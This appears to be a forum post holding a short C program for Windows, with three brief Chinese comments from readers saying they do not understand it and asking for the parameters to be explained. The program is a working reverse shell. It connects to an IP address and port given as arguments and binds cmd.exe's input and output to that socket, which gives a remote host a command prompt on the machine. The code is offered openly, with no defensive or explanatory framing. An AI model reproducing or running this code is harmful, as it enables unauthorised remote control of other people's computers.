#include <winsock2.h>
#pragma comment(lib,”ws2_32″)
int main(int argc, char **argv)
{
WSADATA wsaData;
SOCKET hSocket;
STARTUPINFO si;
PROCESS_INFORMATION pi;
struct sockaddr_in adik_sin;
memset(&adik_sin,0,sizeof(adik_sin));
memset(&si,0,sizeof(si));
WSAStartup(MAKEWORD(2,0),&wsaData);
hSocket=WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
adik_sin.sin_family=AF_INET;
adik_sin.sin_port=htons(atoi(argv[2]));
adik_sin.sin_addr.s_addr=inet_addr(argv[1]);
if(0!=connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin)))
return -1;
si.cb=sizeof(si);
si.dwFlags=STARTF_USESTDHANDLES;
si.hStdInput=si.hStdOutput=si.hStdError=(void *)hSocket;
CreateProcess(NULL,”cmd.exe”,NULL,NULL,1,NULL,NULL,NULL,&si,&pi);
return 0;
}
看不懂..路过..哈哈…
哦哟,不是很懂,路过.
这些参数解释下啊